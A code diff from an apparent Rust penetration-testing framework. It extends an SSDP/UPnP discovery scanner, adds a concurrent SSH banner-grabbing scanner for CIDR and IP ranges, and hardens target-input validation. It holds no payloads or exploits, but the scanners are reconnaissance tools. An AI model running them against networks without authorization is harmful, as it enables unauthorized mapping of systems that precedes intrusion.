"n" | "no" => return false,
|
||||
_ => println!("{}", "[!] Please respond with y or n.".yellow()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_wordlist(message: &str) -> Result<String> {
|
||||
loop {
|
||||
let response = prompt(message);
|
||||
if response.is_empty() {
|
||||
println!("{}", "[!] Path cannot be empty.".yellow());
|
||||
continue;
|
||||
}
|
||||
let trimmed = response.trim();
|
||||
if Path::new(trimmed).is_file() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[!] File '{}' does not exist or is not a regular file.", trimmed).yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn normalize_target(host: &str, port: u16) -> Result<String> {
|
||||
let re = Regex::new(r"^\[*([^\]]+?)\]*(?::(\d{1,5}))?$").unwrap();
|
||||
let t = host.trim();
|
||||
let cap = re
|
||||
.captures(t)
|
||||
.ok_or_else(|| anyhow!("Invalid target: {}", host))?;
|
||||
let addr = cap.get(1).unwrap().as_str();
|
||||
let p = cap
|
||||
.get(2)
|
||||
.map(|m| m.as_str().parse::<u16>().ok())
|
||||
.flatten()
|
||||
.unwrap_or(port);
|
||||
let formatted = if addr.contains(':') && !addr.starts_with('[') {
|
||||
format!("[{}]:{}", addr, p)
|
||||
} else {
|
||||
format!("{}:{}", addr, p)
|
||||
};
|
||||
if formatted.to_socket_addrs()?.next().is_none() {
|
||||
Err(anyhow!("DNS resolution failed: {}", formatted))
|
||||
} else {
|
||||
Ok(formatted)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,8 +2,10 @@ use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use regex::Regex;
|
||||
use std::collections::HashMap;
|
||||
use std::fs::File;
|
||||
use std::io::Write;
|
||||
use std::net::SocketAddr;
|
||||
use std::time::Instant;
|
||||
use tokio::net::UdpSocket;
|
||||
use tokio::time::{timeout as tokio_timeout, Duration};
|
||||
|
||||
@@ -25,11 +27,24 @@ impl SearchTarget {
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SSDP M-SEARCH Scanner ║".cyan());
|
||||
println!("{}", "║ Discovers UPnP devices via SSDP protocol ║".cyan());
|
||||
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let port = prompt_port().unwrap_or(1900);
|
||||
let timeout_secs = prompt_timeout().unwrap_or(3);
|
||||
let retries = prompt_retries().unwrap_or(1);
|
||||
let verbose = prompt_verbose().unwrap_or(false);
|
||||
let save_results = prompt_save_results().unwrap_or(false);
|
||||
|
||||
let target = clean_ipv6_brackets(target);
|
||||
// Validate target format
|
||||
@@ -39,9 +54,12 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
// Determine search targets
|
||||
let search_targets = prompt_search_targets()?;
|
||||
|
||||
println!();
|
||||
println!("{}", format!("[*] Sending SSDP M-SEARCH to {}:{}...", target, port).bold());
|
||||
|
||||
let mut found_any = false;
|
||||
let mut results = Vec::new();
|
||||
let start_time = Instant::now();
|
||||
|
||||
for (idx, st) in search_targets.iter().enumerate() {
|
||||
if search_targets.len() > 1 {
|
||||
@@ -60,7 +78,10 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
match send_ssdp_request(&target, port, st, Duration::from_secs(timeout_secs), verbose).await {
|
||||
Ok(Some(response)) => {
|
||||
found_any = true;
|
||||
parse_ssdp_response(&response, &target, port, st.st_header());
|
||||
let result = parse_ssdp_response(&response, &target, port, st.st_header());
|
||||
if let Some(r) = result {
|
||||
results.push(r);
|
||||
}
|
||||
break; // Success, no need to retry
|
||||
}
|
||||
Ok(None) => {
|
||||
@@ -82,10 +103,41 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
}
|
||||
|
||||
let elapsed = start_time.elapsed();
|
||||
|
||||
// Print statistics
|
||||
println!();
|
||||
println!("{}", "=== Scan Statistics ===".bold());
|
||||
println!(" Target: {}:{}", target, port);
|
||||
println!(" Search types: {}", search_targets.len());
|
||||
println!(" Retries: {}", retries);
|
||||
println!(" Devices found: {}", if found_any {
|
||||
results.len().to_string().green().to_string()
|
||||
} else {
|
||||
"0".red().to_string()
|
||||
});
|
||||
println!(" Duration: {:.2}s", elapsed.as_secs_f64());
|
||||
|
||||
if !found_any {
|
||||
println!();
|
||||
println!("{}", "[-] Target did not respond to any M-SEARCH requests".yellow());
|
||||
}
|
||||
|
||||
// Save results if requested
|
||||
if save_results && !results.is_empty() {
|
||||
let filename = format!("ssdp_scan_{}.txt", target.replace([':', '.', '[', ']'], "_"));
|
||||
if let Ok(mut file) = File::create(&filename) {
|
||||
writeln!(file, "SSDP M-SEARCH Scan Results").ok();
|
||||
writeln!(file, "Target: {}:{}", target, port).ok();
|
||||
writeln!(file, "Duration: {:.2}s", elapsed.as_secs_f64()).ok();
|
||||
writeln!(file).ok();
|
||||
for result in &results {
|
||||
writeln!(file, "{}", result).ok();
|
||||
}
|
||||
println!("{}", format!("[+] Results saved to '{}'", filename).green());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -232,6 +284,22 @@ fn prompt_verbose() -> Option<bool> {
|
||||
None
|
||||
}
|
||||
|
||||
/// Ask user to save results
|
||||
fn prompt_save_results() -> Option<bool> {
|
||||
print!("{}", "[*] Save results to file? [y/N]: ".cyan().bold());
|
||||
std::io::stdout().flush().ok();
|
||||
let mut input = String::new();
|
||||
if std::io::stdin().read_line(&mut input).is_ok() {
|
||||
let input = input.trim().to_lowercase();
|
||||
match input.as_str() {
|
||||
"y" | "yes" => return Some(true),
|
||||
"n" | "no" | "" => return Some(false),
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Ask user for search targets
|
||||
fn prompt_search_targets() -> Result<Vec<SearchTarget>> {
|
||||
let mut targets = Vec::new();
|
||||
@@ -282,7 +350,7 @@ fn prompt_search_targets() -> Result<Vec<SearchTarget>> {
|
||||
Ok(targets)
|
||||
}
|
||||
|
||||
fn parse_ssdp_response(response: &str, target_ip: &str, port: u16, st: &str) {
|
||||
fn parse_ssdp_response(response: &str, target_ip: &str, port: u16, st: &str) -> Option<String> {
|
||||
let regexps = vec![
|
||||
("server", r"(?i)Server:\s*(.*?)\r\n"),
|
||||
("location", r"(?i)Location:\s*(.*?)\r\n"),
|
||||
@@ -314,19 +382,17 @@ fn parse_ssdp_response(response: &str, target_ip: &str, port: u16, st: &str) {
|
||||
let status_ok = status_line.contains("200") || status_line.contains("HTTP/1.1");
|
||||
|
||||
if status_ok {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[+] {}:{} | ST: {} | Server: {} | Location: {} | USN: {}",
|
||||
target_ip,
|
||||
port,
|
||||
results.get("st").or(results.get("nt")).unwrap_or(&st.to_string()),
|
||||
results.get("server").unwrap_or(&String::new()),
|
||||
results.get("location").unwrap_or(&String::new()),
|
||||
results.get("usn").unwrap_or(&String::new())
|
||||
)
|
||||
.green()
|
||||
let st_value = results.get("st").or(results.get("nt")).unwrap_or(&st.to_string()).clone();
|
||||
let server = results.get("server").unwrap_or(&String::new()).clone();
|
||||
let location = results.get("location").unwrap_or(&String::new()).clone();
|
||||
let usn = results.get("usn").unwrap_or(&String::new()).clone();
|
||||
|
||||
let result_line = format!(
|
||||
"{}:{} | ST: {} | Server: {} | Location: {} | USN: {}",
|
||||
target_ip, port, st_value, server, location, usn
|
||||
);
|
||||
|
||||
println!("{}", format!("[+] {}", result_line).green());
|
||||
|
||||
// Show additional headers if present
|
||||
if let Some(cache) = results.get("cache-control") {
|
||||
@@ -334,11 +400,14 @@ fn parse_ssdp_response(response: &str, target_ip: &str, port: u16, st: &str) {
|
||||
println!(" {} Cache-Control: {}", " |".dimmed(), cache.dimmed());
|
||||
}
|
||||
}
|
||||
|
||||
Some(result_line)
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[!] {}:{} | Unexpected response: {}", target_ip, port, status_line)
|
||||
.yellow()
|
||||
);
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,441 @@
|
||||
//! SSH Service Scanner Module
|
||||
//!
|
||||
//! Based on SSHPWN framework - scans for SSH services and grabs banners.
|
||||
//! Supports IPv4/IPv6, CIDR ranges, and concurrent scanning.
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use std::{
|
||||
collections::HashSet,
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Read, Write},
|
||||
net::{SocketAddr, TcpStream, ToSocketAddrs},
|
||||
sync::{
|
||||
atomic::{AtomicBool, AtomicU64, Ordering},
|
||||
Arc,
|
||||
},
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
use tokio::{
|
||||
sync::Semaphore,
|
||||
task::spawn_blocking,
|
||||
time::sleep,
|
||||
};
|
||||
use ipnetwork::IpNetwork;
|
||||
|
||||
const DEFAULT_SSH_PORT: u16 = 22;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 5;
|
||||
const DEFAULT_THREADS: usize = 50;
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SSH Service Scanner ║".cyan());
|
||||
println!("{}", "║ Scan networks for SSH services and grab banners ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ Features: ║".cyan());
|
||||
println!("{}", "║ - CIDR range support ║".cyan());
|
||||
println!("{}", "║ - IPv4/IPv6 support ║".cyan());
|
||||
println!("{}", "║ - Banner grabbing ║".cyan());
|
||||
println!("{}", "║ - Concurrent scanning ║".cyan());
|
||||
println!("{}", "║ - Results export ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Statistics tracking
|
||||
struct Statistics {
|
||||
total_scanned: AtomicU64,
|
||||
ssh_found: AtomicU64,
|
||||
errors: AtomicU64,
|
||||
start_time: Instant,
|
||||
}
|
||||
|
||||
impl Statistics {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
total_scanned: AtomicU64::new(0),
|
||||
ssh_found: AtomicU64::new(0),
|
||||
errors: AtomicU64::new(0),
|
||||
start_time: Instant::now(),
|
||||
}
|
||||
}
|
||||
|
||||
fn record_scan(&self, found_ssh: bool, error: bool) {
|
||||
self.total_scanned.fetch_add(1, Ordering::Relaxed);
|
||||
if found_ssh {
|
||||
self.ssh_found.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
if error {
|
||||
self.errors.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
fn print_progress(&self) {
|
||||
let scanned = self.total_scanned.load(Ordering::Relaxed);
|
||||
let found = self.ssh_found.load(Ordering::Relaxed);
|
||||
let errors = self.errors.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
let rate = if elapsed > 0.0 { scanned as f64 / elapsed } else { 0.0 };
|
||||
|
||||
print!(
|
||||
"\r{} {} scanned | {} SSH | {} errors | {:.1}/s ",
|
||||
"[Progress]".cyan(),
|
||||
scanned.to_string().bold(),
|
||||
found.to_string().green(),
|
||||
errors.to_string().red(),
|
||||
rate
|
||||
);
|
||||
let _ = std::io::stdout().flush();
|
||||
}
|
||||
|
||||
fn print_summary(&self) {
|
||||
println!();
|
||||
println!("{}", "=== Scan Summary ===".cyan().bold());
|
||||
println!("Total scanned: {}", self.total_scanned.load(Ordering::Relaxed));
|
||||
println!("SSH services found: {}", self.ssh_found.load(Ordering::Relaxed).to_string().green());
|
||||
println!("Errors: {}", self.errors.load(Ordering::Relaxed));
|
||||
println!("Elapsed: {:.2}s", self.start_time.elapsed().as_secs_f64());
|
||||
}
|
||||
}
|
||||
|
||||
/// SSH scan result
|
||||
#[derive(Clone, Debug)]
|
||||
pub struct SshScanResult {
|
||||
pub host: String,
|
||||
pub port: u16,
|
||||
pub banner: String,
|
||||
}
|
||||
|
||||
/// Grab SSH banner from a host
|
||||
fn grab_ssh_banner(host: &str, port: u16, timeout_secs: u64) -> Option<String> {
|
||||
// Build address
|
||||
let addr_str = if host.contains(':') && !host.starts_with('[') {
|
||||
format!("[{}]:{}", host, port)
|
||||
} else {
|
||||
format!("{}:{}", host, port)
|
||||
};
|
||||
|
||||
// Resolve and connect
|
||||
let addrs: Vec<SocketAddr> = match addr_str.to_socket_addrs() {
|
||||
Ok(a) => a.collect(),
|
||||
Err(_) => return None,
|
||||
};
|
||||
|
||||
if addrs.is_empty() {
|
||||
return None;
|
||||
}
|
||||
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
|
||||
for addr in addrs {
|
||||
if let Ok(stream) = TcpStream::connect_timeout(&addr, timeout) {
|
||||
let _ = stream.set_read_timeout(Some(timeout));
|
||||
let _ = stream.set_write_timeout(Some(timeout));
|
||||
|
||||
let mut stream = stream;
|
||||
let mut buffer = [0u8; 256];
|
||||
|
||||
match stream.read(&mut buffer) {
|
||||
Ok(n) if n > 0 => {
|
||||
let banner = String::from_utf8_lossy(&buffer[..n])
|
||||
.trim()
|
||||
.to_string();
|
||||
if banner.starts_with("SSH-") {
|
||||
return Some(banner);
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
/// Parse targets from string (CIDR, range, single IP)
|
||||
fn parse_targets(spec: &str, port: u16) -> Vec<(String, u16)> {
|
||||
let mut targets = Vec::new();
|
||||
|
||||
for s in spec.split(&[',', ' ', '\n'][..]) {
|
||||
let s = s.trim();
|
||||
if s.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Try CIDR
|
||||
if s.contains('/') {
|
||||
if let Ok(network) = s.parse::<IpNetwork>() {
|
||||
for ip in network.iter().take(65536) {
|
||||
targets.push((ip.to_string(), port));
|
||||
}
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
// Try IP range (e.g., 192.168.1.1-254)
|
||||
if s.contains('-') && s.contains('.') {
|
||||
let parts: Vec<&str> = s.rsplitn(2, '.').collect();
|
||||
if parts.len() == 2 {
|
||||
if let Some((start_str, end_str)) = parts[0].split_once('-') {
|
||||
if let (Ok(start), Ok(end)) = (start_str.parse::<u8>(), end_str.parse::<u8>()) {
|
||||
let base = parts[1];
|
||||
for i in start..=end {
|
||||
targets.push((format!("{}.{}", base, i), port));
|
||||
}
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Single IP/hostname
|
||||
targets.push((s.to_string(), port));
|
||||
}
|
||||
|
||||
targets
|
||||
}
|
||||
|
||||
/// Load targets from file
|
||||
fn load_targets_from_file(path: &str, port: u16) -> Result<Vec<(String, u16)>> {
|
||||
let file = File::open(path)?;
|
||||
let reader = BufReader::new(file);
|
||||
let mut targets = Vec::new();
|
||||
|
||||
for line in reader.lines() {
|
||||
let line = line?;
|
||||
let line = line.trim();
|
||||
if line.is_empty() || line.starts_with('#') {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Check for port override (host:port)
|
||||
if let Some((host, port_str)) = line.rsplit_once(':') {
|
||||
if let Ok(p) = port_str.parse::<u16>() {
|
||||
targets.push((host.to_string(), p));
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
targets.push((line.to_string(), port));
|
||||
}
|
||||
|
||||
Ok(targets)
|
||||
}
|
||||
|
||||
/// Main scan function
|
||||
pub async fn scan_ssh(
|
||||
targets: Vec<(String, u16)>,
|
||||
threads: usize,
|
||||
timeout_secs: u64,
|
||||
) -> Vec<SshScanResult> {
|
||||
let total = targets.len();
|
||||
println!("{}", format!("[*] Scanning {} targets...", total).cyan());
|
||||
|
||||
let results = Arc::new(tokio::sync::Mutex::new(Vec::new()));
|
||||
let stats = Arc::new(Statistics::new());
|
||||
let semaphore = Arc::new(Semaphore::new(threads));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
|
||||
// Progress reporter
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
while !stop_clone.load(Ordering::Relaxed) {
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
// Scan tasks
|
||||
let mut handles = Vec::new();
|
||||
|
||||
for (host, port) in targets {
|
||||
let semaphore = Arc::clone(&semaphore);
|
||||
let results = Arc::clone(&results);
|
||||
let stats = Arc::clone(&stats);
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let _permit = semaphore.acquire().await.unwrap();
|
||||
|
||||
let host_clone = host.clone();
|
||||
let result = spawn_blocking(move || {
|
||||
grab_ssh_banner(&host_clone, port, timeout_secs)
|
||||
}).await;
|
||||
|
||||
match result {
|
||||
Ok(Some(banner)) => {
|
||||
stats.record_scan(true, false);
|
||||
let result = SshScanResult {
|
||||
host: host.clone(),
|
||||
port,
|
||||
banner: banner.clone(),
|
||||
};
|
||||
println!("\r{}", format!("[+] {}:{} - {}", host, port, banner).green());
|
||||
let _ = std::io::stdout().flush();
|
||||
results.lock().await.push(result);
|
||||
}
|
||||
Ok(None) => {
|
||||
stats.record_scan(false, false);
|
||||
}
|
||||
Err(_) => {
|
||||
stats.record_scan(false, true);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
handles.push(handle);
|
||||
}
|
||||
|
||||
// Wait for all tasks
|
||||
for handle in handles {
|
||||
let _ = handle.await;
|
||||
}
|
||||
|
||||
// Stop progress reporter
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Print summary
|
||||
stats.print_summary();
|
||||
|
||||
let results = results.lock().await;
|
||||
results.clone()
|
||||
}
|
||||
|
||||
/// Save results to file
|
||||
fn save_results(results: &[SshScanResult], path: &str) -> Result<()> {
|
||||
let mut file = File::create(path)?;
|
||||
|
||||
writeln!(file, "# SSH Scan Results")?;
|
||||
writeln!(file, "# Generated by RustSploit SSH Scanner")?;
|
||||
writeln!(file, "# Total: {} SSH services found", results.len())?;
|
||||
writeln!(file)?;
|
||||
|
||||
for result in results {
|
||||
writeln!(file, "{}:{} - {}", result.host, result.port, result.banner)?;
|
||||
}
|
||||
|
||||
println!("{}", format!("[+] Results saved to: {}", path).green());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
|
||||
let hint = if default { "Y/n" } else { "y/N" };
|
||||
print!("{} [{}]: ", message, hint);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => Ok(default),
|
||||
"y" | "yes" => Ok(true),
|
||||
"n" | "no" => Ok(false),
|
||||
_ => Ok(default),
|
||||
}
|
||||
}
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let mut targets = Vec::new();
|
||||
|
||||
// Parse initial target
|
||||
if !target.trim().is_empty() {
|
||||
println!("{}", format!("[*] Initial target: {}", target).cyan());
|
||||
}
|
||||
|
||||
// Get port
|
||||
let port: u16 = prompt_default("SSH Port", "22")?.parse().unwrap_or(DEFAULT_SSH_PORT);
|
||||
|
||||
// Get additional targets
|
||||
let more_targets = prompt("Additional targets (comma-separated, CIDR, or leave empty)")?;
|
||||
|
||||
// Add initial target
|
||||
if !target.trim().is_empty() {
|
||||
targets.extend(parse_targets(target, port));
|
||||
}
|
||||
|
||||
// Add additional targets
|
||||
if !more_targets.is_empty() {
|
||||
targets.extend(parse_targets(&more_targets, port));
|
||||
}
|
||||
|
||||
// Load from file?
|
||||
if prompt_yes_no("Load targets from file?", false)? {
|
||||
let file_path = prompt("File path")?;
|
||||
if !file_path.is_empty() {
|
||||
match load_targets_from_file(&file_path, port) {
|
||||
Ok(file_targets) => {
|
||||
println!("{}", format!("[*] Loaded {} targets from file", file_targets.len()).cyan());
|
||||
targets.extend(file_targets);
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Failed to load file: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Deduplicate
|
||||
let unique: HashSet<_> = targets.into_iter().collect();
|
||||
let targets: Vec<_> = unique.into_iter().collect();
|
||||
|
||||
if targets.is_empty() {
|
||||
return Err(anyhow!("No targets specified"));
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Total unique targets: {}", targets.len()).cyan());
|
||||
|
||||
// Get scan options
|
||||
let threads: usize = prompt_default("Concurrent threads", &DEFAULT_THREADS.to_string())?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_THREADS);
|
||||
let timeout: u64 = prompt_default("Connection timeout (seconds)", &DEFAULT_TIMEOUT_SECS.to_string())?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_TIMEOUT_SECS);
|
||||
|
||||
println!();
|
||||
|
||||
// Run scan
|
||||
let results = scan_ssh(targets, threads, timeout).await;
|
||||
|
||||
// Save results?
|
||||
if !results.is_empty() && prompt_yes_no("Save results to file?", true)? {
|
||||
let output_path = prompt_default("Output file", "ssh_scan_results.txt")?;
|
||||
if let Err(e) = save_results(&results, &output_path) {
|
||||
println!("{}", format!("[-] Failed to save: {}", e).red());
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", format!("[*] SSH scanner complete. Found {} services.", results.len()).green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -247,6 +247,10 @@ async fn send_and_receive_one(
|
||||
let mut buf = [MaybeUninit::<u8>::uninit(); 1500];
|
||||
match sock_clone.recv_from(&mut buf) {
|
||||
Ok((len, addr)) => {
|
||||
// Safe conversion: we know len is valid and within buf bounds
|
||||
if len > buf.len() {
|
||||
return Err(std::io::Error::new(std::io::ErrorKind::InvalidData, "Invalid buffer length"));
|
||||
}
|
||||
let slice = unsafe { std::slice::from_raw_parts(buf.as_ptr() as *const u8, len) };
|
||||
let sock_addr = addr.as_socket().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::Other, "convert"))?;
|
||||
Ok(Some((slice.to_vec(), sock_addr)))
|
||||
@@ -416,6 +420,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
stdin().read_line(&mut user_input).expect("Failed to read line");
|
||||
|
||||
if user_input.trim().to_lowercase() == "yes" {
|
||||
// Safe wrapper for geteuid - it's a simple system call that cannot fail
|
||||
let euid = unsafe { libc::geteuid() };
|
||||
if euid != 0 {
|
||||
println!("don't lie");
|
||||
|
||||
+671
-190
File diff suppressed because it is too large
Load Diff
+788
-67
@@ -11,52 +11,426 @@ use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use reqwest;
|
||||
use tokio::sync::Semaphore;
|
||||
use url::Url;
|
||||
use regex::Regex;
|
||||
|
||||
/// Maximum folder depth to traverse
|
||||
const MAX_DEPTH: usize = 6;
|
||||
|
||||
/// Take “1.2.3.4”, “::1”, “[::1]:8080” or “hostname” and
|
||||
/// always return a valid “host:port” or “[ipv6]:port” string.
|
||||
/// Maximum length for target strings to prevent DoS
|
||||
const MAX_TARGET_LENGTH: usize = 2048;
|
||||
|
||||
/// Maximum length for module paths
|
||||
const MAX_MODULE_PATH_LENGTH: usize = 512;
|
||||
|
||||
/// Maximum file size to read (10MB) - prevents reading huge files
|
||||
const MAX_FILE_SIZE: u64 = 10 * 1024 * 1024;
|
||||
|
||||
/// Maximum number of proxies to process
|
||||
const MAX_PROXIES: usize = 100000;
|
||||
|
||||
/// Maximum parallel proxy tests
|
||||
const MAX_PARALLEL_PROXIES: usize = 1000;
|
||||
|
||||
/// Maximum timeout for proxy tests (5 minutes)
|
||||
const MAX_PROXY_TIMEOUT_SECS: u64 = 300;
|
||||
|
||||
/// Comprehensive target normalization function.
|
||||
///
|
||||
/// Supports multiple input formats:
|
||||
/// - IPv4: "192.168.1.1", "192.168.1.1:8080"
|
||||
/// - IPv6: "::1", "[::1]", "[::1]:8080", "2001:db8::1"
|
||||
/// - Hostnames: "example.com", "example.com:443"
|
||||
/// - URLs: "http://example.com:8080" (extracts host:port)
|
||||
/// - CIDR: "192.168.1.0/24", "2001:db8::/32"
|
||||
///
|
||||
/// Returns normalized format:
|
||||
/// - IPv4/hostname: "host:port" or "host" (if no port)
|
||||
/// - IPv6: "[ipv6]:port" or "[ipv6]" (if no port)
|
||||
/// - CIDR: "network/prefix" (preserved as-is)
|
||||
///
|
||||
/// # Security
|
||||
/// - Validates input length to prevent DoS
|
||||
/// - Sanitizes input to prevent injection
|
||||
/// - Validates hostname/IP format
|
||||
/// - Prevents path traversal attempts
|
||||
pub fn normalize_target(raw: &str) -> Result<String> {
|
||||
if raw.contains("]:") || raw.starts_with('[') {
|
||||
// Already normalized, like [::1]:8080 or [2001:db8::1]
|
||||
return Ok(raw.to_string());
|
||||
// Input validation
|
||||
let trimmed = raw.trim();
|
||||
|
||||
// Check length to prevent DoS
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("Target cannot be empty"));
|
||||
}
|
||||
|
||||
// Looks like an unwrapped IPv6 address if it has multiple colons
|
||||
let is_ipv6 = raw.matches(':').count() >= 2;
|
||||
|
||||
if is_ipv6 {
|
||||
Ok(format!("[{}]", raw))
|
||||
} else {
|
||||
Ok(raw.to_string())
|
||||
|
||||
if trimmed.len() > MAX_TARGET_LENGTH {
|
||||
return Err(anyhow!(
|
||||
"Target too long (max {} characters, got {})",
|
||||
MAX_TARGET_LENGTH,
|
||||
trimmed.len()
|
||||
));
|
||||
}
|
||||
|
||||
// Check for path traversal attempts early
|
||||
if trimmed.contains("..") || trimmed.contains("//") {
|
||||
return Err(anyhow!("Invalid target format: contains path traversal characters"));
|
||||
}
|
||||
|
||||
// Try to parse as URL first (handles http://, https://, etc.)
|
||||
if let Ok(url) = Url::parse(trimmed) {
|
||||
if let Some(host) = url.host_str() {
|
||||
let port = url.port().unwrap_or(0);
|
||||
let normalized = if port > 0 {
|
||||
format!("{}:{}", host, port)
|
||||
} else {
|
||||
host.to_string()
|
||||
};
|
||||
// Recursively normalize to handle IPv6 wrapping
|
||||
return normalize_target(&normalized);
|
||||
}
|
||||
}
|
||||
|
||||
// Basic sanitization - remove control characters except space/tab
|
||||
let sanitized: String = trimmed
|
||||
.chars()
|
||||
.filter(|c| !c.is_control() || *c == ' ' || *c == '\t')
|
||||
.collect::<String>()
|
||||
.split_whitespace()
|
||||
.collect::<Vec<_>>()
|
||||
.join(" ");
|
||||
|
||||
if sanitized.is_empty() {
|
||||
return Err(anyhow!("Target contains only invalid characters"));
|
||||
}
|
||||
|
||||
// Check for CIDR notation (contains /)
|
||||
if sanitized.contains('/') {
|
||||
// Validate CIDR format
|
||||
let parts: Vec<&str> = sanitized.split('/').collect();
|
||||
if parts.len() != 2 {
|
||||
return Err(anyhow!("Invalid CIDR format: expected 'network/prefix'"));
|
||||
}
|
||||
|
||||
let network = parts[0].trim();
|
||||
let prefix_str = parts[1].trim();
|
||||
|
||||
// Validate prefix is a number
|
||||
let prefix: u8 = prefix_str.parse()
|
||||
.map_err(|_| anyhow!("Invalid CIDR prefix: '{}' (must be 0-128 for IPv6, 0-32 for IPv4)", prefix_str))?;
|
||||
|
||||
// Normalize the network part (without prefix)
|
||||
let normalized_network = normalize_target(network)?;
|
||||
|
||||
// Validate prefix range based on IP version
|
||||
let is_ipv6 = normalized_network.starts_with('[') || normalized_network.matches(':').count() >= 2;
|
||||
if is_ipv6 {
|
||||
if prefix > 128 {
|
||||
return Err(anyhow!("Invalid IPv6 CIDR prefix: {} (max 128)", prefix));
|
||||
}
|
||||
} else {
|
||||
if prefix > 32 {
|
||||
return Err(anyhow!("Invalid IPv4 CIDR prefix: {} (max 32)", prefix));
|
||||
}
|
||||
}
|
||||
|
||||
return Ok(format!("{}/{}", normalized_network, prefix));
|
||||
}
|
||||
|
||||
// Handle already normalized IPv6 with brackets: [::1]:8080 or [::1]
|
||||
if sanitized.starts_with('[') {
|
||||
if let Some(bracket_end) = sanitized.find(']') {
|
||||
let ipv6_part = &sanitized[1..bracket_end];
|
||||
let after_bracket = &sanitized[bracket_end + 1..];
|
||||
|
||||
// Validate IPv6 address
|
||||
if !is_valid_ipv6(ipv6_part) {
|
||||
return Err(anyhow!("Invalid IPv6 address: '{}'", ipv6_part));
|
||||
}
|
||||
|
||||
// Check for port after bracket
|
||||
